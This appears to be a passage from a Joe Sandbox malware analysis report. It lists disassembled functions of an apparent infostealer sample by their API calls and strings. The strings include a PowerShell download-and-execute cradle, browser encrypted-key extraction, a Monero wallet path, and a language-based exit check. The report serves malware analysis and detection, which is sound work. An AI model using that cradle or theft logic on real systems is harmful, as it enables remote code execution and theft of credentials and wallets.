Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 8ad7e1c13f0143958f80fd7fe8db9a5fbd66e5cace01c67b34d93807cea8cb09
Instruction ID: 067b2978d48901230bccdb5e6f3de965a986c347777c812c73ff3b96d7adb6ba
Opcode Fuzzy Hash: 8ad7e1c13f0143958f80fd7fe8db9a5fbd66e5cace01c67b34d93807cea8cb09
Instruction Fuzzy Hash: 9C1213718101289BDB19FBA0EC92FDDB738AF14300F504159F50676196EF786B8ADFA2

Function 00F252C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F16280: InternetOpenA.WININET(00F30DFE,00000001,00000000,00000000,00000000), ref: 00F162E1
Part of subcall function 00F16280: StrCmpCA.SHLWAPI(?,0089E4C0), ref: 00F16303
Part of subcall function 00F16280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00F16335
Part of subcall function 00F16280: HttpOpenRequestA.WININET(00000000,GET,?,0089D8B0,00000000,00000000,00400100,00000000), ref: 00F16385
Part of subcall function 00F16280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00F163BF
Part of subcall function 00F16280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F163D1

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00F25318
lstrlen.KERNEL32(00000000), ref: 00F2532F

Part of subcall function 00F28E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00F25364
lstrlen.KERNEL32(00000000), ref: 00F25383
lstrlen.KERNEL32(00000000), ref: 00F253AE

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Strings

ERROR, xrefs: 00F253B9
ERROR, xrefs: 00F2546F
ERROR, xrefs: 00F254A9
ERROR, xrefs: 00F25432
ERROR, xrefs: 00F2530A

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: f3bb711c31b3571ed8fd139e7cb4b89e271f4e63f0f43de4f35991f0c8f9ebbb
Instruction ID: 7ee3f6613453a5685e9ccbeedc672afe714e9ed7f7f4a3c907891ea812697d1d
Opcode Fuzzy Hash: f3bb711c31b3571ed8fd139e7cb4b89e271f4e63f0f43de4f35991f0c8f9ebbb
Instruction Fuzzy Hash: 6C511F70910158DBCB18FF60ED96AED7779EF14300F504028F9065B592EF38AB46EBA2

Function 00F212D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 947ad64ed8f296dcdab8c51d94f3dae6bfbfbb821ac592c1dcd104d99c998101
Instruction ID: 6be88151d9417e9569fe028e291121a41286d08329ea783a8decd5fb47a28c16
Opcode Fuzzy Hash: 947ad64ed8f296dcdab8c51d94f3dae6bfbfbb821ac592c1dcd104d99c998101
Instruction Fuzzy Hash: 6CC1B7B594022DDBCB18EF60EC89FEA7378BF64304F004598F51A67181EB74AA85DF91

Function 00F24280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F242EC
lstrcat.KERNEL32(?,0089DE20), ref: 00F2430B
lstrcat.KERNEL32(?,?), ref: 00F2431F
lstrcat.KERNEL32(?,0089C990), ref: 00F24333

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F28D90: GetFileAttributesA.KERNEL32(00000000,?,00F11B54,?,?,00F3564C,?,?,00F30E1F), ref: 00F28D9F

Part of subcall function 00F19CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00F19D39

Part of subcall function 00F199C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00F199EC
Part of subcall function 00F199C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00F19A11
Part of subcall function 00F199C0: LocalAlloc.KERNEL32(00000040,?), ref: 00F19A31
Part of subcall function 00F199C0: ReadFile.KERNEL32(000000FF,?,00000000,00F1148F,00000000), ref: 00F19A5A
Part of subcall function 00F199C0: LocalFree.KERNEL32(00F1148F), ref: 00F19A90
Part of subcall function 00F199C0: CloseHandle.KERNEL32(000000FF), ref: 00F19A9A

Part of subcall function 00F293C0: GlobalAlloc.KERNEL32(00000000,00F243DD,00F243DD), ref: 00F293D3

StrStrA.SHLWAPI(?,0089DF58), ref: 00F243F3
GlobalFree.KERNEL32(?), ref: 00F24512

Part of subcall function 00F19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19AEF
Part of subcall function 00F19AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00F14EEE,00000000,?), ref: 00F19B01
Part of subcall function 00F19AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F14EEE,00000000,00000000), ref: 00F19B2A
Part of subcall function 00F19AC0: LocalFree.KERNEL32(?,?,?,?,00F14EEE,00000000,?), ref: 00F19B3F

lstrcat.KERNEL32(?,00000000), ref: 00F244A3
StrCmpCA.SHLWAPI(?,00F308D1), ref: 00F244C0
lstrcat.KERNEL32(00000000,00000000), ref: 00F244D2
lstrcat.KERNEL32(00000000,?), ref: 00F244E5
lstrcat.KERNEL32(00000000,00F30FB8), ref: 00F244F4

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2b4b3eb13e5e50c297d9c9be7c3f9e294675986aa7d7b72c58f514a0168ab279
Instruction ID: 302e643c0722a9f4f0482192c5c7cc955d34e62e93dc3e63fc1aa0e8489f4794
Opcode Fuzzy Hash: 2b4b3eb13e5e50c297d9c9be7c3f9e294675986aa7d7b72c58f514a0168ab279
Instruction Fuzzy Hash: 0771A876900218ABCB14EBA0EC86FEE7779BF48300F044598F60597181EB79DB85DF91

Function 00F26770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00F26774
ExitProcess.KERNEL32 ref: 00F267A5
ExitProcess.KERNEL32 ref: 00F267AF
ExitProcess.KERNEL32 ref: 00F267B9
ExitProcess.KERNEL32 ref: 00F267C3
ExitProcess.KERNEL32 ref: 00F267CD

Strings

*, xrefs: 00F2678C

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 3eb88f690a332fc2057abf33356c8e58dc8941c2c79922c2e7507e9373680eaf
Instruction ID: dc250a35f7d32ac3932cc59dd09383384e6ac3b9845881fda45511b2baa506a6
Opcode Fuzzy Hash: 3eb88f690a332fc2057abf33356c8e58dc8941c2c79922c2e7507e9373680eaf
Instruction Fuzzy Hash: B8F05E30984319EFD3689FE0F50972C7F74FF04703F0402A8E62A87284DA714B819B95

Function 00F2C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00F2C8BF
___crtGetStringTypeA.LIBCMT ref: 00F2C8EC
___crtLCMapStringA.LIBCMT ref: 00F2C90C
___crtLCMapStringA.LIBCMT ref: 00F2C931

Strings

, xrefs: 00F2C896

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 0ede7cb6f6252163fa8d05e9b8907426d657270a778cfd8f8f17581c0814e684
Instruction ID: 90d2d60b772869ce3608de88bd5e5715de151450d0fd99e9a4c102d7cba70b48
Opcode Fuzzy Hash: 0ede7cb6f6252163fa8d05e9b8907426d657270a778cfd8f8f17581c0814e684
Instruction Fuzzy Hash: 9B41F5B15007AC5EDB218B249D84FFFBFFC9F45704F1444E8E98A86182D2759A84EFA0

Function 00F22C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

ShellExecuteEx.SHELL32(0000003C), ref: 00F22D85

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00F22CC4
')", xrefs: 00F22CB3
<, xrefs: 00F22D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00F22D04

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 48d1c806f516743abdbdd21e90f948ebbf529b694aa9df8c2d254b8b826797f9
Instruction ID: 91066be4290a638c1989d80539e19ac43a5c88acbccfa2ea5af430401db40f47
Opcode Fuzzy Hash: 48d1c806f516743abdbdd21e90f948ebbf529b694aa9df8c2d254b8b826797f9
Instruction Fuzzy Hash: 0341BE71D102189BDB14EBA0ECA2BDDB774AF14300F404159F116A7191EF786A8AEF92

Function 00F19E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00F19F41

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Strings

@, xrefs: 00F19EF1
v20, xrefs: 00F19E21
ERROR_RUN_EXTRACTOR, xrefs: 00F19E67
v10, xrefs: 00F19EA3

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

